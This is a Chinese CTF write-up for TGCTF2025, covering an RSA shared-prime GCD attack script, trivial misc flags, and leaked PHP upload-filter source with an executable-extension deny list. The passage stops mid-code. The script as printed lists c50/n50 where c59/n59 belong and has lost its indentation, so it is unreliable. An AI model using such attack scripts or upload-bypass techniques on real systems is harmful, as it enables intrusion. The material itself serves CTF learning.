TGCTF2025

Crypto

mm不躲猫猫

题目给出了一个txt文件

1
题目中e=65537,给出了多组n和c,此时我们就可以尝试公因数攻击,对所有n进行两两对比看看有没有公因数,如果发现公因数就可以顺势解出明文,python脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
n0 = 104620414822063385079326749509982471870030893600285414264987224935916290272601764523383209465433613538037960991762459760833469310204135961581840403511596166088644211015428546275493892988418626726155859624501730928694822384537353845736516967991087412959351952563730377463899768183476698424362423043497737906623
c0 = 46039211893589761388229614285558239355119695176816949068907191054207506730440947101388028710988726734999719468830467682553990941948390688315715650976965231516653707125993971747796355564587123089802425266994022342763366946693028597366959030863496254672081216842747104144465753908738135854355761032614829767801

n1 = 136155385285881847647215965185525314111620437662648298206297512719879362719618304990758477078778565820295983050789197481446196249495631490160624235332536575107813683782766081951446123450465630897720159758797590205308439297488584076508093180968162324630134629769513496515404803402321721368832460090329222421827
c1 = 89662183394841207920629365819797260101947925700835102302177181731227878954957449881945530912024549859105187175733895858270028583699811542603429941425305090712263572930206869292032730915960185806373681528825761306228562959997158901987273897776177362099560025615451752245984242926480186459915665627188585304468

n2 = 97838166150880996322271330309067876274369629304288765249967974468367105054047299499596040632925907384502862419004673114223665726506104837885822909371569060745589002030380969587694083056125880529762088534900418072441378759571612290245967363366712440121861026216057485493561216431656619679041625036650956580141
c2 = 13964437454524296084510225903229161859257123876632697866040207708487126396198332364645709267606449694929792345209792570053510791963531448336253575726210469465864539890677252499866753713612441273667882500168058017224495736582505959700480874460389262074140652815959688469055699161959913579169401470659235115109

n3 = 104414012452710814870605097680598206512628379244374492767447479240624513395489881648267796649097204325681020437139111489809239200240891543325545119842310141868094306405364856531235723882286394670951990820247279699581908662322090700977209258378235724854303512782381876653582770637338146610370083320542016205683
c3 = 82881158840663752381301293012156412156837667139486617975885122294931414239233800584880788452785824426565433162837294264882670497672373640661237256739513251217169843502230708215107997955489103032973333421550906077697455003620266617859876793492495921562432213017574083204710327670808824909752320056069246239174

n4 = 99823327577152655919881942955430441203405862718412557750434832628874011564431142403116162320302719502032615315370431727445122354675365173475960959108842673705131185515432235779337198687430269502043589489978848478071330885198888066287011818540897074331277424039757182998605121722943855660357645805326677153717
c4 = 64138140240395665924604130130703540113256964046054792668268574048575684146042187358538769647646826411085147480827784068745180715064157256643530984132712374746041235071459578557497303083281429793485934099219969514633245125822049070217273545487615694689955426204739083406630834370776842330036968574339849312190

n5 = 90248365015461553299898947837419575685297696972462936965177693228158751120540052910252324465443891464072089492969551376378871872695721660747109548018879225735392583821723157787309278187199003459586595097068752600095247478763948136028872918472784517794186246938117176464805239704409618972143063753329505566853
c5 = 1223888729370280608766408497925046298425450348475284427245593721486677451374468326993646894433196784805828316395498508329520722177308210723319637874241965908787713633812806440948367216379440947308444484034237493420426695742994319947973787416278207394357344618722581642427663321180647265844445386795487560858

n6 = 94301600004957404266556049084426784947851528267810628496480180851237620577304221709916982386576998311327072033147184826449394769608326104893954128903966864163663992266019244394627758978231671671541415036785806102418923157988170641749789081578513122682013855878981445323502941212687339286209950916049829329187
c6 = 82863658163999555104982625957574084596896562517734036934606118180244186596013418259858429681535345561639916993457165170775791581510308180862345406598823456939294419306667134634269429977644283692866602683240830596570130273545693685907124378153685099119789311788059184914707444767893674300246508953649015681088

n7 = 138170846301125942544269528744423947570529693718702890060589562072507810299909374867578243513284575250911481367534521588818327369799372617013333797662648828094081675473684406506957984907476220469711444738611866548585674505249902648164090122673746393223709022870555269699592064314818239962909612890442312536933
c7 = 119491008614166618841992196881667810795520664399142702036770629613897435080974181361028261908409801454926881075401108841568189702203622458656829859177063551730844676750575953975812052429747999704001795514743286102185049083720492556614745899457272537611852473621247097119159488258837994164495342656615476302293

n8 = 99901179729466406997922350743173808335015436647254619150427257167185543967050112627966407293196288285044671444967319335613534165252968178742796010193662584739560998687124865190606432448575536720824666312791430118010828122012890994586807518564096074794014835645108286554069368202103540075137356780856603244771
c8 = 40949907108391333609720915101613553123371146309830061575032335884884685212781529054807943471531015409944714724754037484012671956839250763388297109533737287622070764203904098500668030151150924717345985380483608467246475689588355409720763724390243856239025656921590604001847453755775742556441416378253225782045

n9 = 61259690030437494665426739847257152273395280130837116404942961022205772370190262747451577687684105785729566638453953643821737649627970942826417199458528269898125881584665758246625505537450238486870409634480317106977874179837348319750569863206089421857959928948968490914332458264088528882363587362546115476251
c9 = 10692583709802517287930376649896453621521035451564315558444774153067965107653136923487082233843270601808293644966170765029706088111741391700718327393258142617729248507339361448214949280176995019279632751180066719588055722391265746855172906890300921322899541689661567468774910639893953734407333686955281968991

n10 = 61801039992828445962366192979879213579034618929625634137120257905363978638538524619375061476757245266904915273416909418840046887399433511888387463824393594567840703853932743962712886373493942192676347226424517033517271152629683484135645803084066312864114637935053614714648933122150287993866439987611541220969
c10 = 10954274353991105637557727664545210588822691288407080879449837043794604324870247005437716228395288744012991388616203129640408571481134055220861654888292000079401922754349164416070902140135750687970710746596746307040822491545884725291812622162525094521528191986864571199953770504742086093754298024706688942928

n11 = 81076578036433170079082060836251685409287159446492965753296193307212279343201967736475565889190946261084018661195513222887762729102719817463298142435098272288250455906191971306724773977704843489656384202130835772028461187750372122197493270556005946889088028901632597942947850025951446511574872271538279172293
c11 = 28588867978892890299123101792867355705290435712099342525411465487097050420749940637639374841366314897499067089478542918061978965078760947752781916587927764087734267821483523703898120835527780177065213641081291514925902487762337571992584303375758239828857480300529159002038173766923215063406196287270281994110

n12 = 71157530232168231071136890858912616050720830400022706299714461019258910354851417650227422961886365022306141477702824881599077623195801641964057263386031786220270890082089447766654209469387927987335260990984685945401925861903655650392938594865200916004709406149687172952181674325358107989641197765842163904547
c12 = 27960181215930944825487403120483445285549624807444954861078101716612013743479552799262420582301067324579888715200194831185242773332005168956859526124595540207082642989519872446505766401363375766517640847713946346877947806553907090624698961288800133781997732503324975289915749170584907965906576569454791362716

n13 = 66972648047375401600966868890460223407049464787687477233543254745626282151414582703711121179221058247651761267900898225903976203880613931632194874983043030539016993590676102349957616653491527988171250828064867642424963623959132504648424440781640680504700708119332029568543096316060268809505043468916214805513
c13 = 60835135959791008690787814428104042871068368305340120883899568388232284733018967302193949855079169482639685706640962794034354074444182486368506005576035610719914663064491492453959532118366777810500578191258738886381059084295580203383314309232955684615288245065267787325644339730306113924643772851852254974447

n14 = 90257637943598108316769497507794508593198806302392993521070418011991721766720752879485768447222083665431446115452523069625768629087198843486179127627688891514510660821010755020225100968675551771499095646313769726939397657740949967858530715457699721915837776214979058584769812249030196060963967766503952342313
c14 = 4399313549134622905685042154653087546829550910787423655419326566487878138253206359509288756495066332688825657315393329979416459694050238332939436214209529989902054986831591699570809096389539557895185915401991616918262699503508747929872338216502127614214065785380825327547608094369072262475865753199634917243

n15 = 92288251740600331464419220550566043483318956046633993383068422751131440697160804724009965543419750026416145402171946239689160353343558812650051732083425661211116525981882827129786285507421384186253914385945235839575942689159175143843170584595031563834194522396791461112821621800304795101789634774174454963923
c15 = 66247987728121195021048077968716090081849970921058095317354141115909675926873116470141983756969079542376202625155266240762945918052265405682130314708469394971687236301195491947843935012259628382158162193578005325779969088722810703761417697325724612365005066194053189048901730077756974814700579148238309842127

n16 = 69827077115568693338658530875808427671954833979587031673719819999982837118678966004630045025949355988108488971089469456573587826096181206180504021005589295303686058202337425160037577216512544874916659317879664486251344000204924121435478175340685277219630619759748397121310072824905427346314024289371793912511
c16 = 41961541529750170616647278321641897011519854170766331727250048812589068480312085578768151129262884426947065380762103627693081345115074811616528854812168141383304088815422297153742050890507255438405990962029560578841792672129077703992563889849131151026125890119428775426873159430059036108088873321237025365358

n17 = 121967509067813105411086531144570873813192438551353178244135305741941444885017879430265551135740001199881109528100015326618038641360496483748825955036785972103400120249819219515635771224670126658284122783204302878023875811221532401827466979985960758004984121521325952830430974045801555031712045538716943996723
c17 = 56685268855458449301807361992185903395597392151912521111631437180065784801852096532529914802338195640469288263142147157273947747638162749552053228362964253085471152499570837646190222747929748096979121775764723331627546226024083599380351478409656463017930399581089017887517605437054166812501653272994305049733

n18 = 111443052209737188054980912596162706015139783786609288606533946708676690565398361227327894393619361319986987105479808487817585338876690712274387199821822463901215385473552030769905055879411818185403467682658270584733008692794033574579656016628470672448456704070463193623651351708851493606658113454562567882661
c18 = 43063936534303512947747167344506435082446824926097920117523394928030369927880018399419359991527162493235267016416838487018780946144446357441103107132169534930859416679537307845573892372204094363648842008627025957417743819712548780548638411753631418121273062911493469263026439608376883943145341779233547349322

n19 = 95620970653115821773446688521489956525828853169640893473222967682133652620358237668549573949380199526055232887654104696571224326591336762618919861506923955551797033258152132330235021156256598798132150199923133163071780984430617120833384712466833259138293611424196294549754790929522798073754475302543066810743
c19 = 91169514280852748423033050397827518019817961586213917174038858129257009995113093470448250725086280286170678089050234174099511369579341419962038031802624545869067250826450322548758429711203364340708549417927947792532084430609434623786029296423816717020689535357554451463107098397308992129847312441034090896054

n20 = 124459121435252896777500422250770572324857852710447484525638245458046469810759653904386808397836485937480907526066675846846520234694216388767247413055775273377784217457842271722405085516541895286181193855041203802309799146536571497448784444626120767476230109922946020087790478941065170405108420502950780133523
c20 = 31093240913979248685149171690112008628787979057692479889383006812352691515320164771142647979614495403955948954659560787370320141750652034536411365349410185683329265665259057268279825368747472043471647395698722820688715744644164047773730191101752121825958698066913241659826405486783122723635730561796940158209

n21 = 81003649135399280604842700104760993194465757071677051471315130409609378910142544915378149900405963802123740729794683591795243782387944402010717523706170293193013567657184591547272086787248471917203180979462232769467918763279576984067235329340647626314893413320227300379671225813004347947887556793324907475161
c21 = 44574763638238888886413256782673998315683494885040898927663006383199262443563576364203866155221980255226080343413308265988173997445413293009039817487501278047992287533365144990492783676929885753160063328137593489873818942984326464370764083819180424063003855862513091163320610019844965347283565770209660580060

n22 = 98732243816208344101089881999678229767787321192638126987232060022293171828538636055234082960150558855412662397028478679139916381771811220331027455874138797444723547224197063212061534351867173190141857439152581327894215440861514666659083641573712750230406234166746981657633453579555223087777388017141219863357
c22 = 79986503981752061258794042676693178586447029502359747048023111795992934365242244682829429272390068037057046062309761327773405090718654650720076028550805109733579396054684907361299816676563364626187567013130090336496213340846195056940882865823569179892482289906651517251337945983544365258393137860454629191034

n23 = 66758615137661898183681497955843604169028345085237805715333905865679489166485605837900352165193227372176156053590485930024553737196112154396746107966369020635666402637798447666072855759885530955274895416566724028133310359697187795915845310925062676192985370829461872593411469634758531178728570607504146151183
c23 = 13644517609019773891752530242094138831866235873125487109230786665109164395091721313937951226156892649251285129063094039490320017705224680296595835191486830050938538995037990589408100435630167986445442337761819350654576053224334692633242984280988119041485629348514778490701297689672789712907641785978089412539

n24 = 98072970158130557052743501309214730278183672382038608367394969864230458326809973544699153818591268662881322072888566398106950485297090504826503492694322913234760076993549505099324874666504871151866005427564471382493910187132163914206317057765492519429766575635686245134324011521395693486543919737121504564927
c24 = 84756677608503103260150955220616338703818320766559408023672186987294916281780991760578014562370308440828277618587258867132040493620801006697405228609133125079705806759032776671611044403011814257753860020429845202992660681078110288265705662308669257914929820557756911758703795881131111105735456426318361668270

n25 = 116998704975451649126438110873632899254005035277419492670572774767081897262579095726695238650572133502662066827419600650735798245588760283654510477447046866555500946271925294552225210668772639370759673964276976644621482337217991637452069794612545466451954965844946653644526046333919159857735087230405950562681
c25 = 16570430676458274583658783537202109532681933818735984083525092301573135300505599596210770719561152272430146209359937832679805615289403307183767153773810188203253348072362271474889040363373962217099743034143761290094400088428924419758901967319662412728935236729324324147218380946513393582503111366654276667293

n26 = 104483514647872589681750539956059559501518691095588994886613956985450502398886043160024956236709333777575620090527433151049744446098751309566470308420565126337409330093064263594492981235416010482005033230034168756644048683563312430985576767247522190417485746094089079663154364989197924484966033401666051619461
c26 = 17138394314732282449650222032375481084037945506331562281807984251337618581384768104426297000629054857160015466800107548208795134907834277028686324230052715882695049480511887100966333344409478092633916061816340887546660275109537469955682428550280514161676149871928697674125785900970509982522705961063870834979

n27 = 60326311910614696264262112650793534842739976803535002683648803579454544386266984856609414251042150402068441298005137860375797409795047626918641940955705868295020454501701371277588656888843053973492594235436982999278079509091708430758975557632443310088336913237484287616197147486615344814109811864250769004891
c27 = 40931200129536119129644931618257632169934594051909344741491940855917398274021060980770502436016419647550890030028556565161699377570124309757732051413125103970861589757309665980307809346218599682322773838935146655136803291714871322334463226028263300731552065334923055486898110113638267225092777539580967661120

n28 = 108836390011321379014926001958164364243680734136242582915858471735873222003767956934494616082247251743183741337629538507775710288933884908999105367830098149342315322613209423119780437542382162620154890855931342295730861455417298653702685900413828888060663557808749461673663629805867833592897786982342788685959
c28 = 49860122961236087518368710991510422129175328759552404964767690481160371914478166882884455554939984467361034583020724163693277920013700619375425377163492358032319254013708661844879532008747012150391247862825829421307678519370594782114030222043646875943001632050368814409623938147284840384891087323572532883863

n29 = 147642880756826434444470720183242575623344222891343187543310266034660755092423898665133531987847110221083466801342989915260094925689296456102030850541466004189380905152669699297642719571249347617034459232200990669150472862070080313969604894517840202856938171221361517095307992345596936784648094656980792830737
c29 = 92046977118980127142442564723058804191280810807794300193233825843423814612407373128382214212045853881676642579345885635206419186329917252046488467399777210387100456331052575842560395399937360811919422210598686053566713013512136629612761288856067802758730356069125133284822316529263294450339705623303650541612

n30 = 87734299076255924714617453820106124696091797650891616195988933926991162457468764047182100622640315094106172533028675477160048861436573108179533405393174795226635752513805066563332520116258057939800258710771706500516267782437758245192511829394235482408496309979576773935406995172536715298363024533346069346919
c30 = 62263252640401475318960695726808441962295596142158429394863286841220955664537708906119183631769528596071399577496529459778311142738285615356820914043365948933560441123577579761404940981747532536111256739727969621195235958898220730142554231618489423211995414457014513373452869234957604252970221336539983340072

n31 = 95168052957135885178626832261117079804232648423544525965346024825603884658561493715838419742301304157918975962291479837488430639925193595425591944804055822094003524356965580798499990558645733777026207805801162417237439898941373631234499065453460277052468733038062179112857305187134332721434321449771799966573
c31 = 47308667329988014529087465185943989650815985557654501979569681083097603969644369844030771441444410365116209805852419087740629267083199189176509773861376488656519367590985625308828158263786736945484737339632978956191304127508915031525569292687193621113966999264598420351091041444022465263533009967538090104901

n32 = 114411145073433113022779564326722850591086774647782899300150137907486262370063613072378664891398298321559199031974310866181210363471975723911866777778770162784631257342290338755862113531477644766476067972283163711314795056112088840338525152673380207315640971316373676167796997813755391889570083582769555559103
c32 = 94422595978646242385370859519234185285716971843466907323230873050888720783302526415117935769832820271082589144616575676517436641168393833352590277574876283258301184156308459939216124860384928179670520210346849035173195626606754096834809440127939495539537902290299887617625681705583745256724318702438145962169

n33 = 95479078167944012555059510194535316700724634892833216872215244225865604624747266739645717141828585085019926083587368486910129688910884679317631716166480652140861382210591129454338475212950770552050475815284838056686348436934865994292725841850312050347693728526187676352510853618070377328882007450669852024067
c33 = 45982751479143673997045605834122952252425215373240723816593939944209409478475972946079190389743757924303865876514515981660955111210625161445971304646183507301105269006602145715411717298196867795684625232475162257873600441071166167581905690570819559110937048405959184291973185816886576321872073629520027933109

n34 = 104210978136595230891087798676367564823753206514856021196375425772745699072487908076016311602695745154349859462737817439238614793440776356373265528586980469884184707529198466626483692318329436310471573158231593900056091507816703811713617547371376944611174717451275120901898700134871914684744133375045083974559
c34 = 47795890018312771415042345069340623608208640670842813420097975422251308044096964274135251807688060722467290219083318980053947501924058955107468568628695877672501235831125177972779208595710594858788771405413808960375103289445718484753806431277618590577002568794014665029007522547246875640296273255471027746174

n35 = 124900226916008255291364823427932270688510422097938162661205956484918846565343556390509970236724043293296270349255397548674255755736775721401583808983028413293950374478174908210743176930820078213911296986905209176239030646665342756766665656798693942784289547500890598570625257574834144161908220090513607100443
c35 = 69687098984633733075280717007587203818312950246289738071141776045422637587297945727527258833596780023616592412869727844602694777579783707102049282895045427781576648624111949234897892934958565410274547056762375405558949445944961270752443153415695633314374042157534903100601349529735209374183246418467507261678

n36 = 106076461689740364509547983234550083419491598858439281865012707231490098640181388950259650519845227256038061169481367312244216059487641941663897149853760510043653747481760729965852665972680183551345973379645844201094479192927941808230165011051745283319434738229025415306651624552661593145968829146009528204139
c36 = 49265710428903305060640098658868900623042892220055083681800681636693217103754657961211688101393980802485486994767600500130501790099820636158227682077483275519434004553444062288968146281353744052370298988361041739971609762483097545691128944207477091466023637243001938492115731909427849297711486130876631104199

n37 = 102962829720771882197749256670336589357311132436261490004396772895006384277874667395420850357722988048941437978183999217447648123296439722730055980585935615891138197537072428082144801107174501380609741843220821085775200534747761633269518926910390413273344760450125150389251771046927241876033660426522558543099
c37 = 27781362665688824165016862953510332480542293818004472225574029238124263287391117238506191501951396870358266502368695220080425450119808769180065196569973906172552505849961213824318575099643862453287436796754580954469690531286909858759254426336535934955118131726082983730605020636892038993734701758861726813917

n38 = 73856953558568922866065269006785075537460094024399704360714920414994378603564606431481975815209474306251824674589466430959132648739341353797951609730777823223231201000238065040131404182984196612368806918632439249661194393025640075280971803068966303374536384766382205539061910067068706562997455112740019131141
c38 = 51915893879955490253802566958190047213763169433955095339957337049322539987200895203998502264798668768412922087182570714987156269462095705471944455611913005794278946564787522329048202985918435716894853328571194687387853787530720415846161416416757464376941214309484833893359116013087534027228501529765756907692

n39 = 65680214781438239555281960634195867835139324061180765322384486454047655097115706363891153450590534574351578810199984914495173275168206748586690680272761313448935092560918627591896139791469443972993979003054600865154011978228594047714049604578365127852096951779635039890953169546467866563266332296396871076589
c39 = 7684074671551210406583011634674519674891094232023770078592205024228244586008047726163330419380257939415877596490356539338012471983951869276015232840717439681128745977907088460407978913598847121925730554331272215687487501421132565249129743606275082527834357490648278977212010985656047607921255565470565331604

n40 = 63731094353225856606884846888435889685724323090116632497321440843471595699500046176243726442543427591048508993828354169603431232430905153081294636987864618130184112836258653457104912385524741899810300045949715807120033969791612530969664910145078555120597496861060797394280764831507105630414699914806363699919
c40 = 45135268640531572276632359436457117328448215496689754243654316877945919791435143715382831866291594843635227890263474174236403136140577883195807877658173635800169975109646931450935492786999735420639321517460515137029043381757277121855173814947251489703164764744842744697746009656927991552781411603984151236817

n41 = 131288746056753706799251297343925936986513850875832463509780227830988366933051206223718132326720614580110407529508692875317142679411579909002217250676078142722857601045944930987355779316969568475651902390173931010454505887209439626309636041213111385622305466557744171022716506877192050121646433129382313101053
c41 = 112744066328442409161417689589020315149280389883889756414854898060858251180276709990609763598732918496371494629320774504452520501164750402711455524435663355878780266124470139294032611326343529788023423464481785129539704566759175819861252326272870495129850959767518532226207699355915509845261433422668064158147

n42 = 83676921012282550512303401264397648068621964517656416739307673385591720719332838058073826239369638305284785180049541517570705412715000417863135734806873461343038931768632377619826665184183536387706749007414008584315847709894913964647923203871863375859788911666582003878412457638393407796910907877625937115293
c42 = 64587468728420247302224575709884332576098583790894153541573792923889723022503636857078795897100243385366764796448591906202736770145726218999885222971394680495632871056756158108672235623119200158547824537286862014033000125072082300400506630117043725123416611633573931158643343196531565638354716489675854822449

n43 = 107030054015087699139519262772728868842593238547433164775729464521772074966846794437736985617483484698270493657545913338804724099411820962705592272173516224837816744344065940618045323765453821555222713203802544489064777242962969716980534278888159088999349126513541701925962726046306864101299436162647297434849
c43 = 105657897857946314217340002015104160854509295690859274867843856620738133949061691607504418354926641487695855270865093071510546545157325232748207951711619993404044655007664070926272905377478256229789599520152039771250190159992066715349976543013222482138507293430051790459818256070324493596920250504795880801013

n44 = 89473794652379132450673026806587454714920435044408685254946255223602153698392388885033340513553464653246623093560821610679233365263890457633002483146981940013223156160837730360512137871272216866132440912611846386374771080980840088873686178469059518406894496503145465688024812930960266115229230274738114996907
c44 = 65689611094849937112329541757314052031835941448096718520497381987012868452392824902099096359643626573053399516769140077760976151549630064035406584674887819668758166204826846540515185341483274907623321234090042322119063963964305382759909537483616842515806481391952678240808768552058510774610984371734780693135

n45 = 97453692360221550525546414966397900446143894547459997755329830448432372475615815486408785701156413698241821262793738783053819570379326736532459084184732138260631432203066922896117238959614888101433738027706461797704480416144648360785799510836716769714953962723460387456296333189732562581166990547142363506233
c45 = 33635550655164661193638995161087233824832017512985967201561415707708251129505398124555900665283890455320975705071337975407119307598802379191658241415253018875624502985256581953036337649371555147642991393008112919449983360543682982510089879745240084291217521030993180089009138398930133055572314481548375172412

n46 = 72110261011813804504699995241414935772601482660021632643448029482979872141648770058130720101544649293432992047392229209697580021984291543006321973063581200375167771080297142162138791764150457087178800126398919417518959521113749708876779341492672187722724304490254491357939555861470434733012180727444930923711
c46 = 27594166134185673292363592371705253990545626708181652916737705612435409771022803185867850355650906370335020015065719532239190552005974543128258608957861843949502098170096407325140860639757639486519725463591773910637337455431143451699528477794467589689153369252137201751896811401565591147412597244703389010092

n47 = 78122884671752036823697231362017241332672680262948866914242750297148504000868567535547392055315438687741491499873398302755846466314188891158667604042463240341624935740684029682819183618539622686036495780663875201786101375514678349102491335468261470024752084648870531991551830780272898466768092280177114692051
c47 = 22421294177445342844160499123464996227038929743160143621730890990404785986808106034340459368178210170899299988065450550451758942626313068047256343624972594655208812912325260242531971656312318955715295109729219376623050265643900569431085543463502701600517143206557385630737929399092415306602699696571768302397

n48 = 84425100372667709081351008608369464999175296018000038343488754222958042215634556280629504014723615236854177488101190111656475845400206225964972957750342381863809504300134945714141421396891682378792869479733182762947319320452457491930448144300445164741177043099949953854515277259329681550088547132519052614231
c48 = 11025655521651977682718429833120705820173377364466496631786785538536423486092265951037906039713585670763817677532288222631142506222473954443053493542027582069138840121115002083588802596551797766632194064992504962798179294624494090093798337071872500931203935593175946389007083405285716384918518482594838109887

n49 = 76500928140557126951724082173424539634881305472817091417354118419682742078696556369663431631613049814066274893574795062996943022496494748474202712572097857610759669062349068368426767423023209350854968141894400035943508174837015387264409993545082627931903929574033492743333545979438362106170342782167687609107
c49 = 10835219926693744715226054600570675946129061939860372899995850870803848251070230139723433415534228479787886666269236646256799151316920754649873028710947833002154324632186309684272625729925386497641528810548192349048222027964237850335570477213388434897313533622929497500089961247597050651661308649384027755219

n50 = 139237837960035910646687916167915067040948209141509547478650946545607307041356395829646629075167578370050461042404793555835755850760066875641804762986083112195069377600306026177092911766398745954474513022700897756622714672037989763110412593587869199600384292944312268989774543301753778380746204072143177381803
c50 = 33504220411103363648905580410433029122727077829225905640294568048202031479149747901779756716491927386579457044024810462816601015130294414372912477229817100700909431649525437858242925058333428108411843766072343017163119495841041661379922012515769877839886403561438085220803145239403402362322100289480854215585

n51 = 117631254440827507711546516112064297632280517928701748229245100878457364480551737782926019390654343902604153923628235107328333591976094811034889142554408478459326139372839799039660101105089383957921866031073451602010280579418535870826966679607043782829521690182490405885737782400118120924577001573078069674031
c51 = 58081239962080289539906254360700159598142562988604931399068793477666166828020623753926759111646908772270036826511294547686391825720970410679855590857629934979655095269122503464951186999483445309422521312381301676116995685418231618433794023796701393350546134001033470765285941563129008503210305690581496989613

n52 = 87937561818584222067998501919046183164308258733624324874010371260128617446056888141283866305399209040799670381796495556537840654814799948322352233830362809817282857926530760795100851673538109675849767661695723939064163025995368930876760370213927885931816302820132430573906481238739384645306155356045085410659
c52 = 70353910119492561304997751595660997934725320689030790761785801693780450524401892515867067737335014549634402169552439412696800605971983092191032742128764098307531085732186961054924376068682626009181143856968718386364360024107286218381939928224582669724984430384091177413653359407965960659775462562437234176542

n53 = 121494135008171226375671409329837799191283088835966404651235988073098249092521541975067727645782080146180142892886721427393083831025060337427205569221607867816449951160262349064183736422019180025381395196798309104979993825520850704644518169879717439251166133025991744120758650078599372754647416364880517335673
c53 = 96124490139950046197016373711525737984644393252464916071851869765516581561747228879613155589524152632714927835422522664757276436023889445499893530783556896318087464112528679849958296550595124327514868543923634490018995647221618964810578099265174507171054978199076057090242189056855571075714794852616323545798

n54 = 104526292983815049511684831813997427004903214666645560631465142732200291577549994915017639978735111413930374038654975595174609015149778366007738397229835387841781838590394212639085516120474654389008329374807038730589684341972751119427397612411672615922118786971783836634736031219403320200067949470717779338699
c54 = 53525296179404140755501633385909663496959520446349532338066089655637364974852325384104814644355031090153086378349806439008060052338094942063965676095471089115562464095086347506474334963836939247782248394005049426530356395273840846631671561797842282022916588149878401628024484852733784293085112240910154188327

n55 = 137317704472567961216181080342613357343575313301339369342657385964502640491361208642059935501657870555419622774054072740316171355388149247371287529354566408424773867535596523666978660163095211923499777265022567776949469058056517042827298345927459607526976941723109800647277312883369595792063139258023975837323
c55 = 113303720867154494697852500357644759448043823219362027898143392679102317482970393914011078897636848470883059950298962408807140718310433138772483261345280554971368830760746668022060620713920854476565351976646576658923049862482014555499098631705043425687059066208849299248851416095337775423820369155501159322885

n56 = 88195122611127715769699993202074228583439275399074002854731620357451278444028076944142775479735846117716601737755557363184797776452112641709712005378691288474128773600382499559064846418256103597221189994815759855699913486538095356288852743114692590043927490813123669572257581364238195901785276389260789865577
c56 = 73913964009633261231270425260232709150784365614098258055822544831515941645318658499733846215504825273856158303254628879328745760493087406690893533322348155485834789131234721750985992230360872015187578363525697927380430712163230460426748704438119078872484248545612497001428621979782856261329367547781437976629

n57 = 99818788432853827881516435738813053368970948426449375954403696637675334637787416053431814853038810508431999771538465684659846469616047111372114534116658459641139992980128530170352284264767800326189782233782433221878169220672158257928668750240537006666128085602962938058892172209765765942353021078760030185953
c57 = 13143593421545568887272111055115063529148374173183820486709409035817442098891745344379522206872021223575649181389573652563084996604798774432746516486028875436504963657129584534966904738779978150886985100629429482621276787468248225822247548057804822190287563044474710257297044047778366621695067343076196963364

n58 = 89116440537082034096007339508627962600816125152708965763623147352128348135019671068361676714507097261410812750135368513250938490248291964104119444577610856094496131334052241221868309809334184247318379626902790295470783559999213894171508946361861330645509618787654875702411478298395052077750258286567341793673
c58 = 46410074528345591271442909354540876854983747019275858767049216344398136806600468114887380556148820491781335250695797126664473656392201988003467954211473291229046496035491477334797060560364990926679861729979254282749731190331996675678333827288202990981507079265543866951764809855339704853628775034741057210245

n59 = 107777234085847418525692492751498557116365112676157940027797787247873648173244311790872383690219654416683258064278214402849632274580082036604585774406256951125393538335600201926864361424362038357926057836205766070824072702981890703499274855005758838127054497428174443852066321749376198936319846090446587845901
c59 = 30873276784655415898639780220317531098555181267748494820177405042365602805037762075274253973737960788943466955887139873827151101823524617479202978233785328439836176883990904681050397810186146666852493436694647111407184239910266131828128455416702697371504649738803269763979849746334027096478051999140264274462

e = 65537
c = [c0, c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24,
c25, c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40, c41, c42, c43, c44, c45, c46, c47,
c48, c49, c50, c51, c52, c53, c54, c55, c56, c57, c58, c50]
n = [n0, n1, n2, n3, n4, n5, n6, n7, n8, n9, n10, n11, n12, n13, n14, n15, n16, n17, n18, n19, n20, n21, n22, n23, n24,
n25, n26, n27, n28, n29, n30, n31, n32, n33, n34, n35, n36, n37, n38, n39, n40, n41, n42, n43, n44, n45, n46, n47,
n48, n49, n50, n51, n52, n53, n54, n55, n56, n57, n58, n50]
for i in range(len(n)-1):
for j in range(len(n)-1):
if (i != j):
if (gmpy2.gcd(n[i], n[j]) != 1): # 对不同的n进行 欧几里得算法,以求出最大公约数(p)
print(i, j) # 输出对应的n的序号
p = gmpy2.gcd(n[i], n[j])
print("p = ", p)
q = n[i] // p
print("q = ", q)
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d = ", d)
m = pow(c[i], d, n[i])
print("m = ", m)
print(libnum.n2s(int(m)))

Misc

简单签到,关注:”杭师大网安“谢谢喵🐱

关注公众号回复即可

你的运气是好是坏?

队里的Re老直接给出114514的奇怪数字拿下flag(我也不知道为啥CTFER喜欢这个数字)

next is the end

将题目给出的压缩包binwalk一下就出来了一堆嵌套的目录

hint说找到you get it即可得到flag

直接find梭哈

cat即可得到flag

Web

(ez)upload

php文件无法上传

提示有源码在备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
